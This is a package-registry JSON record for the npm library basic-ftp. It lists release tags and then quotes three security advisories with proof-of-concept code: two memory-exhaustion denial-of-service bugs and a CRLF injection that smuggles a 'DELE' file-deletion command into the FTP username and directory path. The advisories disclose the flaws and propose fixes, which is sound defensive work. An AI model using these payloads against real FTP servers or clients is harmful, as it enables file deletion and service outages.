ub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"3d7a0690205e78c7792724f013ef3910e0ef77aa","kind":"tag","published_at":"2018-01-13T17:30:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0/manifests"},{"name":"v2.1.0","sha":"c4a3c00eec9753fb4fa684967fda7c76c43e1f7d","kind":"tag","published_at":"2018-01-12T19:14:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"0392e12a52d3ab2cacca643b582b1f2b898b0836","kind":"tag","published_at":"2018-01-10T12:37:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0/manifests"},{"name":"v1.2.0","sha":"e55c94c461a5ab0c0740221458222e8773faa908","kind":"tag","published_at":"2018-01-07T08:22:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0/manifests"},{"name":"v1.1.1","sha":"a354d92fc576e4e98c61fa319e3f879b3991b0ae","kind":"tag","published_at":"2018-01-06T18:03:14.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"3d663e02aaf7169eb6fe07dd7250ef0dfd9d6280","kind":"tag","published_at":"2018-01-06T17:07:58.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0/manifests"},{"name":"v1.0.9","sha":"2d35713910994baaabcf78dcc805cd8996dd3bbd","kind":"tag","published_at":"2018-01-04T21:00:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.9","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9/manifests"},{"name":"v1.0.8","sha":"e3ff76ad996a48291e96212c301554a8a72cf190","kind":"tag","published_at":"2018-01-04T17:03:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.8","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8/manifests"},{"name":"v1.0.7","sha":"cdbca2c538820c15fdadac8be6aea8931fd891ea","kind":"tag","published_at":"2018-01-04T06:34:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.7","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7/manifests"},{"name":"1.0.6","sha":"fad9e33b2fb8b6e8adf241136449acb71b09a724","kind":"tag","published_at":"2018-01-03T11:50:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/1.0.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6/manifests"},{"name":"v1.0.5","sha":"4789d0bbb9c69495ae575a5b2b01ddaf0c1cd80a","kind":"tag","published_at":"2018-01-02T14:36:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5/manifests"},{"name":"v1.0.4","sha":"749d64f17b5afcbcec024c980c23709165a24d03","kind":"tag","published_at":"2017-12-31T17:18:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"964b3ece50267c599c3169b0f9c57f8796149b57","kind":"tag","published_at":"2017-12-31T17:18:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"ab8d752c781aedfee1b681bb8344a2789c265bf2","kind":"tag","published_at":"2017-12-30T23:15:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2/manifests"}]},"repo_metadata_updated_at":"2026-08-23T15:44:15.945Z","dependent_packages_count":271,"downloads":108470378,"downloads_period":"last-month","dependent_repos_count":5188,"rankings":{"downloads":0.058346411764126076,"dependent_repos_count":0.3186464289586576,"dependent_packages_count":0.18423885723172423,"stargazers_count":2.803858584287703,"forks_count":3.267645477235864,"docker_downloads_count":0.8606574882184603,"average":1.2488988746160892},"purl":"pkg:npm/basic-ftp","advisories":[{"uuid":"GSA_kwCzR0hTQS1ycG1mLTg2NnEtNnA4Oc4ABWTL","url":"https://github.com/advisories/GHSA-rpmf-866q-6p89","title":"basic-ftp allows a malicious FTP server to cause client-side denial of service via unbounded multiline control response buffering","description":"## Summary\n\n`basic-ftp` is vulnerable to client-side denial of service when parsing FTP control-channel multiline responses.\n\nA malicious or compromised FTP server can send an unterminated multiline response during the initial FTP banner phase, before authentication. The client keeps appending attacker-controlled data into `FtpContext._partialResponse` and repeatedly reparses the accumulated buffer without enforcing a maximum control response size.\n\nAs a result, an application using `basic-ftp` can remain stuck in `connect()` while memory and CPU usage grow under attacker-controlled input. This can lead to process-level denial of service, container OOM kills, worker restarts, queue backlog, or service degradation in applications that automatically connect to FTP endpoints.\n\n---\n\n## Details\n\n### Root cause\n\nThe root cause is that incomplete FTP multiline control responses are buffered without an upper bound.\n\n`FtpContext` stores incomplete control-channel data in `_partialResponse`:\n\n\nhttps://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/FtpContext.ts#L63-L64\n\n\nIncoming control-channel data is handled in `_onControlSocketData`. The implementation concatenates the previous incomplete response with the new chunk, parses the entire accumulated string, and stores `parsed.rest` back into `_partialResponse`:\n\n\nhttps://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/FtpContext.ts#L328-L340\n\n\nThe relevant flow is:\n\n\ncompleteResponse = this._partialResponse + chunk\nparsed = parseControlResponse(completeResponse)\nthis._partialResponse = parsed.rest\n\n\nThere is no maximum size check before concatenating, before parsing, or before storing `parsed.rest`.\n\nThe parser accepts incomplete multiline responses and returns the entire unterminated multiline group as `rest`:\n\n\nhttps://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/parseControlResponse.ts#L15-L43\n\n\nIf a server starts a multiline FTP response:\n\n\n220-malicious banner starts\n\n\nbut never sends the terminating line:\n\n\n220 ready\n\n\nthen `parseControlResponse()` treats the accumulated multiline data as incomplete and returns it as `rest`.\n\nBecause `_onControlSocketData()` feeds `_partialResponse + chunk` back into the parser on every new data event, the client repeatedly reparses a growing attacker-controlled buffer. This creates both memory growth and increasing parsing work.\n\n### Why this is security-relevant\n\nThe vulnerable component is a client library. The attacker does not need to authenticate to the victim system and does not need valid FTP credentials.\n\nThe attack occurs automatically when an application using `basic-ftp` connects to a malicious or compromised FTP server. The malicious response is sent as the FTP server banner before login. No additional user interaction is required after the application initiates a normal FTP connection.\n\nThis is realistic for applications that use FTP for:\n\n- scheduled imports or exports\n- customer-provided FTP endpoints\n- backup or synchronization jobs\n- CI/CD artifact mirroring\n- document ingestion pipelines\n- legacy business integrations\n\nIn those environments, one malicious or compromised FTP endpoint can cause the Node.js process using `basic-ftp` to consume excessive memory and CPU or remain stuck in a pending connection state.\n\n---\n\n## Proof of Concept\n\nThe PoC uses a local malicious FTP server that accepts a victim connection and sends an unterminated multiline FTP banner. The banner starts with `220-`, but the server never sends the required terminating `220 ` line.\n\n### Reproduction steps\n\nFrom the root of the `basic-ftp` project:\n\n```bash\nnpm ci\nnpm run buildOnly\n```\n\n[poc_control_parser_direct.js](https://github.com/user-attachments/files/27051425/poc_control_parser_direct.js)\n\n```bash\nCHUNKS=1000 node poc_control_parser_direct.js | tee poc-results/parser_direct_1000.log\n```\n\n[parser_direct_1000.log](https://github.com/user-attachments/files/27051430/parser_direct_1000.log)\n\nRun the end-to-end malicious FTP server PoC:\n\n[poc_control_multiline_dos.js](https://github.com/user-attachments/files/27051385/poc_control_multiline_dos.js)\n\n```bash\nCHUNK_SIZE=8192 CHUNKS=1000 DELAY_MS=1 node poc_control_multiline_dos.js | tee poc-results/control_multiline_dos_1000.log\n```\n\n[control_multiline_dos_1000.log](https://github.com/user-attachments/files/27051397/control_multiline_dos_1000.log)\n\n### Observed result: parser-only PoC\n\n```text\n[basic-ftp parseControlResponse incomplete multiline DoS]\nInput fed: 7.81 MiB\nRetained rest: 7.81 MiB\nInitial rss/heap: 54.77 MiB 3.69 MiB\nFinal   rss/heap: 141.64 MiB 80.77 MiB\n```\n\nThis shows that `parseControlResponse()` retained the full unterminated multiline response as `rest`.\n\nThe retained buffer grew to `7.81 MiB`. Heap usage increased from `3.69 MiB` to `80.77 MiB`, and RSS increased from `54.77 MiB` to `141.64 MiB`.\n\n### Observed result: end-to-end malicious FTP server PoC\n\n```text\n[server] listening on 127.0.0.1:34429\n[server] victim connected\n[progress] chunks=850 sent=6.6 MiB partialResponse=6.6 MiB heapUsed=227.5 MiB rss=292.4 MiB\n[progress] chunks=900 sent=7.0 MiB partialResponse=7.0 MiB heapUsed=213.1 MiB rss=278.0 MiB\n[final-before-close] chunks=1000 sent=7.8 MiB partialResponse=7.8 MiB heapUsed=82.1 MiB rss=146.8 MiB\n[result] client connect() is still pending because the multiline response never terminated\n```\n\nOnly `7.8 MiB` of malicious control-channel data was sent. The client retained `7.8 MiB` in `_partialResponse`, showed large memory spikes, and remained pending inside `connect()` because the multiline response was never terminated.\n\n---\n\n## Expected behavior\n\nThe client should enforce a maximum size for incomplete FTP control responses. If the accumulated multiline response exceeds a safe limit, the client should close the connection and reject the active task with an error.\n\nThe client should not allow a remote FTP server to make `_partialResponse` grow without bound.\n\n---\n\n## Actual behavior\n\nA malicious FTP server can keep the client in a pending connection state by sending an unterminated multiline control response. `basic-ftp` continues buffering and reparsing the accumulated data without a maximum response size.\n\n---\n\n## Impact\n\nA malicious or compromised FTP server can cause denial of service in applications using `basic-ftp`.\n\nPossible real-world impact includes:\n\n- Node.js process memory exhaustion\n- container OOM kill\n- worker crash or restart loop\n- event loop CPU pressure due to repeated reparsing\n- stuck FTP jobs\n- queue backlog in scheduled import/export systems\n- degraded availability of services relying on automated FTP ingestion\n\n---\n\n## Threat model\n\nThe attacker controls, compromises, or can impersonate an FTP server that a victim application connects to.\n\nExamples:\n\n1. A SaaS application allows customers to configure external FTP endpoints for automated imports.\n2. A backend job periodically pulls files from partner FTP servers.\n3. A document ingestion pipeline connects to FTP endpoints supplied by external users.\n4. A legacy integration uses FTP for scheduled synchronization.\n5. A build or deployment pipeline mirrors artifacts from an FTP server.\n\nIn each case, the victim application initiates a normal FTP connection. The malicious server sends an unterminated multiline banner before authentication. The vulnerable client then buffers and reparses the response indefinitely.\n\nNo FTP credentials are required for exploitation because the attack happens before login.\n\n---\n\n## Suggested fix\n\nIntroduce a maximum control response buffer size, especially for incomplete multiline responses.\n\nRecommended changes:\n\n- Add a `maxControlResponseBytes` or `maxControlResponseLength` limit.\n- Enforce the limit before or immediately after appending new control-channel data.\n- Close the connection and reject the active task when the limit is exceeded.\n- Add regression tests for unterminated multiline responses.\n\nExample defensive logic:\n\n```text\nif (completeResponse.length \u003e maxControlResponseLength) {\n    closeWithError(new Error(\"FTP control response exceeded maximum allowed size\"))\n}\n```\n\nA regression test should verify that a response beginning with `220-` and never terminating with `220 ` is rejected after the configured size limit instead of being retained indefinitely.\n\n---\n\n## Suggested regression test scenario\n\nA test server should:\n\n1. Accept a client connection.\n2. Send an FTP multiline response opener such as `220-malicious banner\\r\\n`.\n3. Continue sending additional lines without ever sending the terminating `220 ` line.\n4. Verify that the client rejects the connection once the configured response-size limit is exceeded.\n5. Verify that `_partialResponse` does not grow without bound.\n\n## Credit request\nIf you publish an advisory or assign a CVE, please credit me as:\n\nAli Firas (thesmartshadow)  - https://www.smartshadow.dev","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-06T19:37:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-rpmf-866q-6p89","https://nvd.nist.gov/vuln/detail/CVE-2026-44240","https://github.com/advisories/GHSA-rpmf-866q-6p89"],"source_kind":"github","identifiers":["GHSA-rpmf-866q-6p89","CVE-2026-44240"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T20:00:08.694Z","updated_at":"2026-08-20T13:02:10.272Z","epss_percentage":0.00465,"epss_percentile":0.38544,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycG1mLTg2NnEtNnA4Oc4ABWTL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycG1mLTg2NnEtNnA4Oc4ABWTL","packages":[{"ecosystem":"npm","package_name":"basic-ftp","versions":[{"first_patched_version":"5.3.1","vulnerable_version_range":"\u003c= 5.3.0"}],"purl":"pkg:npm/basic-ftp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycG1mLTg2NnEtNnA4Oc4ABWTL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ycDQyLTV2eHgtcXB3cs4ABVZW","url":"https://github.com/advisories/GHSA-rp42-5vxx-qpwr","title":"basic-ftp vulnerable to denial of service via unbounded memory consumption in Client.list()","description":"### Summary\n`basic-ftp@5.2.2` is vulnerable to denial of service through unbounded memory growth while processing directory listings from a remote FTP server. A malicious or compromised server can send an extremely large or never-ending listing response to `Client.list()`, causing the client process to consume memory until it becomes unstable or crashes.\n\n### Details\nThe issue is in the package's default directory listing flow.\n\n`Client.list()` reaches `dist/Client.js`, where the full listing response is downloaded into a `StringWriter` before parsing:\n\nFile: `dist/Client.js:516-527`\n\n```js\nasync _requestListWithCommand(command) {\n    const buffer = new StringWriter_1.StringWriter();\n    await (0, transfer_1.downloadTo)(buffer, {\n        ftp: this.ftp,\n        tracker: this._progressTracker,\n        command,\n        remotePath: \"\",\n        type: \"list\"\n    });\n    const text = buffer.getText(this.ftp.encoding);\n    this.ftp.log(text);\n    return this.parseList(text);\n}\n```\n\nThe vulnerable sink is `StringWriter`, which grows an in-memory `Buffer` with no limit:\n\nFile: `dist/StringWriter.js:5-20`\n\n```js\nclass StringWriter extends stream_1.Writable {\n    constructor() {\n        super(...arguments);\n        this.buf = Buffer.alloc(0);\n    }\n    _write(chunk, _, callback) {\n        if (chunk instanceof Buffer) {\n            this.buf = Buffer.concat([this.buf, chunk]);\n            callback(null);\n        }\n        else {\n            callback(new Error(\"StringWriter expects chunks of type 'Buffer'.\"));\n        }\n    }\n    getText(encoding) {\n        return this.buf.toString(encoding);\n    }\n}\n```\n\nThe critical operation is:\n\n```js\nthis.buf = Buffer.concat([this.buf, chunk]);\n```\n\nThere is no maximum size check, no truncation, and no streaming parser. Because the remote FTP server controls the listing response, it can force the client to keep allocating memory until the process is terminated.\n\nHow it happens:\n\n1. An application connects to an attacker-controlled or compromised FTP server.\n2. The application calls `client.list()`.\n3. The server returns an extremely large or unbounded directory listing.\n4. `basic-ftp` buffers the full response in `StringWriter`.\n5. Memory grows without bound due to repeated `Buffer.concat(...)` calls.\n\n### PoC\nThe following PoC exercises the vulnerable buffering primitive directly:\n\n```js\nconst { StringWriter } = require(\"basic-ftp/dist/StringWriter.js\");\n\nfunction mb(n) {\n  return Math.round(n / 1024 / 1024) + \"MB\";\n}\n\nconst writer = new StringWriter();\nlet wrote = 0;\n\nfor (let i = 0; i \u003c 32; i++) {\n  const chunk = Buffer.alloc(4 * 1024 * 1024, 0x41);\n  writer.write(chunk);\n  wrote += chunk.length;\n\n  if ((i + 1) % 8 === 0) {\n    const m = process.memoryUsage();\n    console.log(\"written\", mb(wrote), \"rss\", mb(m.rss), \"heap\", mb(m.heapUsed), \"buf\", mb(m.arrayBuffers));\n  }\n}\n\nconsole.log(\"final text len\", writer.getText(\"utf8\").length);\n```\n\nObserved output:\n\n```text\nwritten 32MB rss 116MB heap 4MB buf 64MB\nwritten 64MB rss 296MB heap 4MB buf 240MB\nwritten 96MB rss 340MB heap 3MB buf 284MB\nwritten 128MB rss 436MB heap 3MB buf 376MB\nfinal text len 134217728\n```\n\nThis demonstrates sustained memory growth in the same code path used to buffer directory listing data.\n\nSupporting files saved alongside this report:\n\n- `poc.js`\n- `poc_output.txt`\n\n### Impact\nThis is a denial-of-service vulnerability affecting applications that use `basic-ftp` to list directories from remote FTP servers.\n\n- Vulnerability class: Memory exhaustion / Denial of Service\n- Attack precondition: The victim connects to a malicious or compromised FTP server and performs `Client.list()`\n- Impacted users: Any application or service using `basic-ftp@5.2.2` against untrusted FTP endpoints\n- Security effect: The attacker can cause excessive memory consumption, process instability, and potential process termination\n\nRecommended remediation:\n\n1. Enforce a maximum listing size.\n2. Abort transfers that exceed the configured limit.\n3. Prefer incremental or streaming parsing over full-response buffering.\n\nExample defensive check:\n\n```js\nif (this.buf.length + chunk.length \u003e MAX_LISTING_BYTES) {\n    callback(new Error(\"FTP listing exceeds maximum allowed size.\"));\n    return;\n}\nthis.buf = Buffer.concat([this.buf, chunk]);\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-16T21:37:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-rp42-5vxx-qpwr","https://nvd.nist.gov/vuln/detail/CVE-2026-41324","https://github.com/advisories/GHSA-rp42-5vxx-qpwr"],"source_kind":"github","identifiers":["GHSA-rp42-5vxx-qpwr","CVE-2026-41324"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-16T22:00:09.293Z","updated_at":"2026-08-06T13:02:53.875Z","epss_percentage":0.00332,"epss_percentile":0.25593,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycDQyLTV2eHgtcXB3cs4ABVZW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycDQyLTV2eHgtcXB3cs4ABVZW","packages":[{"ecosystem":"npm","package_name":"basic-ftp","versions":[{"first_patched_version":"5.3.0","vulnerable_version_range":"\u003c= 5.2.2"}],"purl":"pkg:npm/basic-ftp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycDQyLTV2eHgtcXB3cs4ABVZW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02djdxLXdqdngtdzh3Z84ABVGT","url":"https://github.com/advisories/GHSA-6v7q-wjvx-w8wg","title":"basic-ftp: Incomplete CRLF Injection Protection Allows Arbitrary FTP Command Execution via Credentials and MKD Commands","description":"## Summary\n\nbasic-ftp's CRLF injection protection (added in commit 2ecc8e2 for GHSA-chqc-8p9q-pq6q) is incomplete. Two code paths bypass the `protectWhitespace()` control character check: (1) the `login()` method directly concatenates user-supplied credentials into USER/PASS FTP commands without any validation, and (2) the `_openDir()` method sends an MKD command before `cd()` invokes `protectWhitespace()`, creating a TOCTOU bypass. Both vectors allow an attacker who controls input to inject arbitrary FTP commands into the control connection.\n\n## Details\n\n### Vector 1: Credential Injection (login)\n\nThe `login()` method constructs FTP commands by direct string concatenation with no CRLF validation:\n\n```typescript\n// src/Client.ts:216-231\nlogin(user = \"anonymous\", password = \"guest\"): Promise\u003cFTPResponse\u003e {\n    this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)\n    return this.ftp.handle(\"USER \" + user, (res, task) =\u003e {  // Line 218: no validation on `user`\n        // ...\n        else if (res.code === 331) {\n            this.ftp.send(\"PASS \" + password)  // Line 226: no validation on `password`\n        }\n    })\n}\n```\n\n`FtpContext.send()` writes directly to the TCP socket:\n\n```typescript\n// src/FtpContext.ts:223-227\nsend(command: string) {\n    // ...\n    this._socket.write(command + \"\\r\\n\", this.encoding)\n}\n```\n\nThe `protectWhitespace()` method (line 762) rejects `\\r`, `\\n`, and `\\0` characters — but it is only called for path-based operations. Credentials never pass through it.\n\nThe public `access()` method (line 268) passes `options.user` and `options.password` directly to `login()` with no sanitization.\n\n### Vector 2: MKD TOCTOU Bypass (_openDir)\n\nThe `_openDir()` method sends an MKD command before the CRLF check in `cd()`:\n\n```typescript\n// src/Client.ts:745-748\nprotected async _openDir(dirName: string) {\n    await this.sendIgnoringError(\"MKD \" + dirName)  // Line 746: sent BEFORE validation\n    await this.cd(dirName)                           // Line 747: protectWhitespace() called here — too late\n}\n```\n\nThis is called from `ensureDir()` (line 729) which splits a user-supplied remote path by `/` and passes each fragment to `_openDir()`, and from `_uploadToWorkingDir()` (line 679) which passes local directory names read from the filesystem.\n\n## PoC\n\n### Vector 1: Credential Injection\n\n```javascript\nconst ftp = require(\"basic-ftp\");\n\nasync function exploit() {\n    const client = new ftp.Client();\n    client.ftp.verbose = true;\n\n    // Connect to target FTP server\n    await client.access({\n        host: \"target-ftp-server\",\n        port: 21,\n        // Username contains CRLF + injected DELE command\n        user: \"anonymous\\r\\nDELE important.txt\",\n        password: \"guest\"\n    });\n    // Server receives on the wire:\n    //   USER anonymous\\r\\n\n    //   DELE important.txt\\r\\n\n    //   PASS guest\\r\\n\n    // The DELE command executes before PASS is processed\n\n    client.close();\n}\n\nexploit();\n```\n\n### Vector 2: MKD TOCTOU Bypass\n\n```javascript\nconst ftp = require(\"basic-ftp\");\n\nasync function exploit() {\n    const client = new ftp.Client();\n    client.ftp.verbose = true;\n\n    await client.access({\n        host: \"target-ftp-server\",\n        user: \"anonymous\",\n        password: \"guest\"\n    });\n\n    // Path fragment with CRLF — MKD is sent before cd() validates\n    try {\n        await client.ensureDir(\"test\\r\\nDELE important.txt/subdir\");\n    } catch (e) {\n        // cd() throws after protectWhitespace() rejects, but MKD + DELE already sent\n    }\n    // Server received:\n    //   MKD test\\r\\n\n    //   DELE important.txt\\r\\n\n    //   CWD test\\r\\n  \u003c-- this may fail, but damage is done\n\n    client.close();\n}\n\nexploit();\n```\n\n## Impact\n\nAn attacker who controls credentials or remote paths passed to basic-ftp can inject arbitrary FTP commands into the control connection. This enables:\n\n- **File deletion**: Inject `DELE` commands to remove files on the FTP server\n- **File manipulation**: Inject `RNFR`/`RNTO` to rename files, `MKD`/`RMD` to create/remove directories\n- **Server commands**: Inject `SITE` commands (e.g., `SITE CHMOD`) to change permissions\n- **Session hijacking**: Inject `USER`/`PASS` to re-authenticate as a different user\n\nThe credential injection vector (Vector 1) is particularly dangerous because it occurs before authentication, meaning the injected commands execute with whatever default permissions the server grants during the login handshake.\n\nApplications that accept user-supplied FTP credentials (e.g., web-based file managers, backup tools, deployment systems) are directly vulnerable.\n\n## Recommended Fix\n\nAdd CRLF validation to both code paths:\n\n**1. Validate credentials in `login()`:**\n\n```typescript\n// src/Client.ts:216\nlogin(user = \"anonymous\", password = \"guest\"): Promise\u003cFTPResponse\u003e {\n    if (/[\\r\\n\\0]/.test(user) || /[\\r\\n\\0]/.test(password)) {\n        return Promise.reject(new Error(\"Invalid credentials: Contains control characters\"));\n    }\n    this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)\n    return this.ftp.handle(\"USER \" + user, (res, task) =\u003e {\n        // ... rest unchanged\n    })\n}\n```\n\n**2. Validate dirName in `_openDir()` before sending MKD:**\n\n```typescript\n// src/Client.ts:745\nprotected async _openDir(dirName: string) {\n    if (/[\\r\\n\\0]/.test(dirName)) {\n        throw new Error(\"Invalid path: Contains control characters\");\n    }\n    await this.sendIgnoringError(\"MKD \" + dirName)\n    await this.cd(dirName)\n}\n```\n\nAlternatively, centralize CRLF validation in `FtpContext.send()` so that all FTP commands are protected regardless of the calling code 